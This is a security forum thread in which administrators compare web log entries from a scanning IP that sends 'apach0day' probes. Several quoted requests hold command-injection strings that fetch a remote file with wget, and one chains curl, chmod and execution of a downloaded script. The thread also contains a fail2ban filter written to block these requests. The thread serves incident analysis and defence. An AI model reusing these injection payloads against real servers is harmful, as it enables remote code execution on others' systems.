Our reader Robin submitted the following detect:
The URL that appears to be retrieved does not exist, even though the domain does. In our own web logs, we have seen a couple of similar requests: 162.253.66.77 - - [28/Jul/2014:05:07:15 +0000] "GET /?x0a/x04/x0a/x04/x06/x08/x09/cDDOSv2dns;wget%20proxypipe.com/apach0day; HTTP/1.0" 301 178 "-" "chroot-apach0day" "-" If anybody has any ideas what tool causes these entries, please let us know. Right now, it doesn't look like this is indeed an "Apache 0 Day" There are a couple other security related sites where users point out this user agent string, with little insight as to what causes the activity or what the goal is. --- |
Johannes 4473 Posts ISC Handler Jul 28th 2014 |
Thread locked Subscribe |
Jul 28th 2014 7 years ago |
i monitor some traffic via ngrep and this popped-up today on two separate machines (running a custom server, not apache):
Machine 1: T 162.253.66.77:56655 -> 10.178.172.97:80 [AP] GET /?x0a/x04/x0a/x02/x06/x08/x09/cDDOSSdns-STAGE2;wget%20proxypipe.com/apach0day; HTTP/1.0 User-agent: chroot-apach0day-HIDDEN BINDSHELL-ESTAB Referrer: /xA/x0a/x06HIDDENSHELL--ESTABLISHED T 10.178.172.97:80 -> 162.253.66.77:56655 [A] HTTP/1.1 500 Internal Server Error. Content-Type: image/png. Content-Length: 928. Date: Mon, 28 Jul 2014 20:49:51 GMT. Connection: close. =========================== Machine 2: T 162.253.66.77:56655 -> 10.209.31.105:80 [AP] GET /?x0a/x04/x0a/x02/x06/x08/x09/cDDOSSdns-STAGE2;wget%20proxypipe.com/apach0day; HTTP/1.0 User-agent: chroot-apach0day-HIDDEN BINDSHELL-ESTAB Referrer: /xA/x0a/x06HIDDENSHELL--ESTABLISHED T 10.209.31.105:80 -> 162.253.66.77:56655 [A] HTTP/1.1 500 Internal Server Error. Content-Type: image/png. Content-Length: 928. Date: Mon, 28 Jul 2014 20:10:22 GMT. Connection: close. |
ChrisHolland 3 Posts |
Quote |
Jul 29th 2014 7 years ago |
I'm seeing similar requests at both of my servers, also coming from the same IP (162.253.66.77). I did a little research on the IP itself and its reputation is far from spotless. It's listed on numerous blacklists: UCEPROTECT Level 1, CBL.AbuseAt.org, JustSpam.org, APEWS.org ("Spammer or scammer or scanner or zombie PC or other within this CIDR"). There are user reports of similar activity at Project Honey Pot.
|
GPFJeff 2 Posts |
Quote |
Jul 29th 2014 7 years ago |
I have also seen this IP scanning our network. Its being repeatedly added and removed from our shun list. It started yesterday at 11:30 PM CDT.
|
GPFJeff 2 Posts |
Quote |
Jul 29th 2014 7 years ago |
Here's a quick-and-dirty solution to block using fail2ban. (If you don't currently use fail2ban, google for your OS.)
If you have fail2ban installed, see below. Note locations of the fail2ban files might be different, depending on your OS. The example below is from a Debian server. This sample doesn't cover ban times, etc.---just how to create a filter and add it to jail.local. There are plenty of fail2ban config examples on google for multiple systems. Quick-And-Dirty (Debian Linux): 1) Create a new file apache-0day.conf in /etc/fail2ban/filter.d that contains: #Fail2Ban configuration file #Limited filter to stop apach0day attacks [Definition] Option: failregex #Notes.: regex to match this kind of request: #162.253.66.77 - - [28/Jul/2014:19:02:00 +0000] "GET /?x0a/x04/x0a/x02/x06/x08/x09/cDDOSpart3dns;wget%20proxypipe.com/apach0day; HTTP/1.0" 200 359 "-" "chroot-apach0day" failregex = ^ -."(GET|POST).\?.proxypipe|apach0day.$ Option: ignoreregex Notes.: regex to ignore. If this regex matches, the line is ignored. Values: TEXT # ignoreregex = 2) Test filter with command: fail2ban-regex /var/log/apache2/access.log /etc/fail2ban/filter.d/apache-0day.conf 3) Edit /etc/fail2banl/jail.local, to add this jail: [apache-0day] enabled = true port = http,https filter = apache-0day logpath = /var/log/apache*/*access.log maxretry = 2 4) Test the new overall configuration (watch for WARNING and fix, if needed): fail2ban-client -d 5) Re-start fail2ban: /etc/init.d/fail2ban restart |
jimbabwe 1 Posts |
Quote |
Jul 29th 2014 7 years ago |
I got a request like this on my dev server with apache, and it appears to have created a folder called ".ssh" in the document root. There is a file inside there called notshell.php.
I can't make head or tails of the code, it looks like it has been obfuscated |
jimbabwe 1 Posts |
Quote |
Jul 29th 2014 7 years ago |
I've seen the same, across some 9 or 10 customer sites - same three requests to each, same source:
162.253.66.77 - - [28/Jul/2014:06:03:18 +0100] "GET /?x0a/x04/x0a/x04/x06/x08/x09/cDDOSv2dns;wget%20proxypipe.com/apach0day; HTTP/1.0" 200 8590 "-" "chroot-apach0day" 162.253.66.77 - - [28/Jul/2014:20:28:57 +0100] "GET /?x0a/x04/x0a/x02/x06/x08/x09/cDDOSpart3dns;wget%20proxypipe.com/apach0day; HTTP/1.0" 200 8590 "-" "chroot-apach0day" 162.253.66.77 - - [28/Jul/2014:20:42:02 +0100] "GET /?x0a/x04/x0a/x02/x06/x08/x09/cDDOSSdns-STAGE2;wget%20proxypipe.com/apach0day; HTTP/1.0" 200 8590 "-" "chroot-apach0day-HIDDEN BINDSHELL-ESTAB" Nothing untoward has happened (the 200 response here is because the front page on this site is flat HTML, so the query string was ignored). |
Peter Bance 9 Posts |
Quote |
Jul 29th 2014 7 years ago |
I've picked up a couple in my logs as well:
162.253.66.77 - - [28/Jul/2014:06:21:18 +0100] "GET /?x0a/x04/x0a/x04/x06/x08/x09/cDDOSv2dns;wget%20proxypipe.com/apach0day; HTTP/1.0" 200 640 "-" "chroot-apach0day" 162.253.66.77 - - [28/Jul/2014:22:56:35 +0100] "GET /?x0a/x04/x0a/x02/x06/x08/x09/cDDOSSdns-STAGE2;wget%20proxypipe.com/apach0day; HTTP/1.0" 200 640 "-" "chroot-apach0day-HIDDEN BINDSHELL-ESTAB" |
Peter Bance 1 Posts |
Quote |
Jul 29th 2014 7 years ago |
Alien Vault OTX has tagged at "Scanning Host".
Link : http://www.alienvault.com/apps/rep_monitor/ip/162.253.66.77/?utm_channnel=InProduct&utm_source=OSSIM&utm_campaign=threatdetails |
hcbhatt 14 Posts |
Quote |
Jul 29th 2014 7 years ago |
Here are my findings from the past 90 days of logs:
May 07 19:03:47 ipmon[473]: Deny packet r#80:11 re3 162.253.66.74:9359 -> <REMOVED>:22 PR tcp len 20 48 -S IN May 09 00:14:27 ipmon[473]: Deny packet r#80:11 re3 162.253.66.74:46341 -> <REMOVED>:1080 PR tcp len 20 40 -S IN May 09 08:29:31 ipmon[473]: Deny packet r#80:11 re3 162.253.66.74:51666 -> <REMOVED>:5000 PR tcp len 20 40 -S IN May 11 22:31:38 ipmon[473]: Deny packet r#80:11 re3 162.253.66.74:52724 -> <REMOVED>:23 PR tcp len 20 40 -S IN May 11 23:01:56 ipmon[473]: Deny packet r#80:11 re3 162.253.66.74:52724 -> <REMOVED>:22 PR tcp len 20 40 -S IN May 16 06:22:12 omb_ftp[51581]: INFO: connect from: 162.253.66.74 to: <REMOVED> redirect: <REMOVED> May 16 06:22:12 omb_ftp[51581]: INFO: child pid: 43179 connect: 162.253.66.74 -> <REMOVED> May 16 07:06:15 omb_ftp[51581]: INFO: connect from: 162.253.66.74 to: <REMOVED> redirect: <REMOVED> May 16 07:06:15 omb_ftp[51581]: INFO: child pid: 46002 connect: 162.253.66.74 -> <REMOVED> May 20 03:03:33 ipmon[473]: Deny packet r#80:11 re3 162.253.66.74:38261 -> <REMOVED>:1680 PR udp len 20 186 IN May 26 22:29:32 ipmon[473]: Deny packet r#80:11 re3 162.253.66.76:55193 -> <REMOVED>:9200 PR tcp len 20 40 -S IN Jun 12 00:50:10 kernel: No server on port re3 162.253.66.76:40409 -> <REMOVED>:60023 PR tcp -S Jun 12 00:50:10 kernel: No server on port re3 162.253.66.76:40409 -> <REMOVED>:60023 PR tcp -R Jun 16 17:53:04 ipmon[347]: Deny packet r#80:11 re3 162.253.66.76:54060 -> <REMOVED>:5060 PR tcp len 20 40 -S IN Jun 21 01:16:33 kernel: No server on port re3 162.253.66.76:43183 -> <REMOVED>:49152 PR tcp -S Jun 21 01:16:34 kernel: No server on port re3 162.253.66.76:43183 -> <REMOVED>:49152 PR tcp -R Jun 25 05:07:50 omb_http[399]: INFO: [22127] 162.253.66.76 192.168.0.11:80 "GET /rutorrent HTTP/1.1" - 0 Client unexpectedly closed connection Jun 25 11:24:25 ipmon[347]: Deny packet r#80:11 re3 162.253.66.77:44182 -> <REMOVED>:22 PR tcp len 20 40 -S IN Jun 25 18:24:31 omb_http[399]: INFO: [21114] 162.253.66.77:52663 192.168.0.11:80 <none> "GET /rutorrent HTTP/1.0" text/html 301 235 Jun 26 14:12:39 ipmon[347]: Deny packet r#80:11 re3 162.253.66.77:42694 -> <REMOVED>:443 PR tcp len 20 40 -S IN Jun 26 17:40:44 ipmon[347]: Deny packet r#80:11 re3 162.253.66.77:54925 -> <REMOVED>:8112 PR tcp len 20 40 -S IN Jul 06 21:27:42 ipmon[347]: Deny packet r#80:11 re3 162.253.66.76:42286 -> <REMOVED>:11211 PR udp len 20 43 IN Jul 11 12:04:25 ipmon[347]: Deny packet r#80:11 re3 162.253.66.76:49029 -> <REMOVED>:27015 PR tcp len 20 40 -S IN Jul 11 16:29:19 ipmon[347]: Deny packet r#80:11 re3 162.253.66.76:40895 -> <REMOVED>:8112 PR tcp len 20 40 -S IN Jul 11 17:04:37 ipmon[347]: Deny packet r#80:11 re3 162.253.66.77:50855 -> <REMOVED>:23 PR tcp len 20 40 -S IN Jul 26 02:11:06 ipmon[347]: Deny packet r#80:11 re3 162.253.66.76:46535 -> <REMOVED>:3128 PR tcp len 20 40 -S IN Jul 28 01:03:30 ipmon[347]: Deny packet r#80:11 re3 162.253.66.76:57550 -> <REMOVED>:23 PR tcp len 20 40 -S IN Jul 28 08:58:46 omb_http[399]: INFO: [27652] 162.253.66.77:41790 192.168.0.11:80 <none> "GET /?x0a/x04/x0a/x04/x06/x08/x09/cDDOSv2dns;wget%20proxypipe.com/apach0day; HTTP/1.0" text/html 301 297 Jul 28 22:56:58 omb_http[399]: INFO: [42857] 162.253.66.77:56655 192.168.0.11:80 <none> "GET /?x0a/x04/x0a/x02/x06/x08/x09/cDDOSSdns-STAGE2;wget%20proxypipe.com/apach0day; HTTP/1.0" text/html 301 303 To me it looks like a really slow scan with some added features (apach0day and rutorrent). Regarding potential threats, even if Apache itself isnt/might not be vulnerable - what about other systems? For example various webstatsscript such as Awstats among others (who acts on whats found in the accesslog)? My best guess: 1) Someone doing their final preparations before their talk at defcon/blackhat. _OR_ 2) Someone from 4chan trolling the rest of the Internet ![]() |
hcbhatt 2 Posts |
Quote |
Jul 29th 2014 7 years ago |
what's funny about this is that the IP belongs to Garrison Network Solutions LLC and Datawagon. Datawagon advertises DDOS protection. My traffic seems to have started early Monday morning. Can't really determine what the encoded data is, looks randomly generated and produces a couple different results on the Hex to Ascii site. Nothing new this morning.
|
dewser 4 Posts |
Quote |
Jul 29th 2014 7 years ago |
Got a response from DataWagon support team:
-------------------- Hello, Thank you for letting us know about this situation. We received a few other reports and have already disabled the customer's access to the server. It appears that the customer was running a vulnerable service that allowed it to be exploited Sorry about this Jeremiah - DataWagon Support Staff --------------------- I suspected as much. |
dewser 4 Posts |
Quote |
Jul 29th 2014 7 years ago |
We've had a ton of similar entries in our logs. Trying to go to urls that don't exist - by the thousands. They all start with a file that actually exists on our domain(s) followed by repeated directories. Example ("actualfile.aspx" is the real file - the rest is just added):
GET /actualfile.aspx/download/download/download/products/products/products/download/download/download/category/category/actual-datasheet.pdf - 80 - 218.30.103.53 Sogou+web+spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07) Not sure what they're trying to do - |
David 6 Posts |
Quote |
Jul 29th 2014 7 years ago |
We are receiving a large amount of wgets on our main webserver, but we can't really tell if this is actually by a legitimate exploit or sysadmins that may be investigating. The person doing this seems to be attempting to overload our webserver, or simply defame us by trying to link a file that doesn't exist, we believe he may be linked to previous denial of service attacks against our company.
Thanks, Erik Proxypipe.com owner |
ErikB 2 Posts |
Quote |
Jul 29th 2014 7 years ago |
162.253.66.74 - - [22/May/2014:10:31:58 -0700] "GET /<>/x05/x74/x88/x63/x16 && curl owasp.org/.cache/apch0day.sh;chmod777 apch0day.sh;./apch0day;rm -rf apch0day.sh; HTTP/1.1" 400 226 "-" "-" 4
162.253.66.77 - - [27/Jul/2014:23:20:10 -0700] "GET /?x0a/x04/x0a/x04/x06/x08/x09/cDDOSv2dns;wget%20proxypipe.com/apach0day; HTTP/1.0" 200 1493 "-" "chroot-apach0day" 0 162.253.66.77 - - [28/Jul/2014:11:03:53 -0700] "GET /?x0a/x04/x0a/x02/x06/x08/x09/cDDOSpart3dns;wget%20proxypipe.com/apach0day; HTTP/1.0" 200 1493 "-" "chroot-apach0day" 0 162.253.66.77 - - [28/Jul/2014:14:54:02 -0700] "GET /?x0a/x04/x0a/x02/x06/x08/x09/cDDOSSdns-STAGE2;wget%20proxypipe.com/apach0day; HTTP/1.0" 200 1493 "-" "chroot-apach0day-HIDDEN BINDSHELL-ESTAB" 0 |
Travis 5 Posts |
Quote |
Jul 29th 2014 7 years ago |
Our firewall has received 6 hits from this IP over the last month:
07/28/2014 15:27:34.416 - Notice - Network Access - Web access request dropped - 162.253.66.77, 56655, X1 - xxx.xxx.xxx.xxx, 80, X1 - TCP HTTP 07/27/2014 22:41:10.400 - Notice - Network Access - Web access request dropped - 162.253.66.77, 41790, X1 - xxx.xxx.xxx.xxx, 80, X1 - TCP HTTP 07/05/2014 06:01:40.640 - Notice - Network Access - Web access request dropped - 162.253.66.77, 40991, X1 - xxx.xxx.xxx.xxx, 80, X1 - TCP HTTP 06/26/2014 11:25:21.704 - Notice - Network Access - Web access request dropped - 162.253.66.77, 42849, X1 - xxx.xxx.xxx.xxx, 80, X1 - TCP HTTP 06/25/2014 10:26:37.688 - Notice - Network Access - Web access request dropped - 162.253.66.77, 52663, X1 - xxx.xxx.xxx.xxx, 80, X1 - TCP HTTP 06/24/2014 13:18:30.272 - Notice - Network Access - Web access request dropped - 162.253.66.77, 39727, X1 - xxx.xxx.xxx.xxx, 80, X1 - TCP HTTP |
JP 2 Posts |
Quote |
Jul 29th 2014 7 years ago |
We have seen traffic related to this on two separate occasions so far. When I view a capture of the traffic I find it interesting that I see two separate hypertext transfer protocol lines with different info in the same packet. Maybe this is common but I have not seen it before myself.
One HTP line contains the odd hex plus cDDOSSdns info in it the uri and the other HTP line just has \n in it |
Aaron 2 Posts |
Quote |
Jul 30th 2014 7 years ago |
Quoting dewser:Got a response from DataWagon support team: Apologies for reviving the dead thread, but that is pretty interesting as we had a uh "unpolite conversation" with the owner of datawagon a few days before this happened. ErikB - Proxypipe |
ErikB 2 Posts |
Quote |
Aug 15th 2015 6 years ago |
Sign Up for Free or Log In to start participating in the conversation!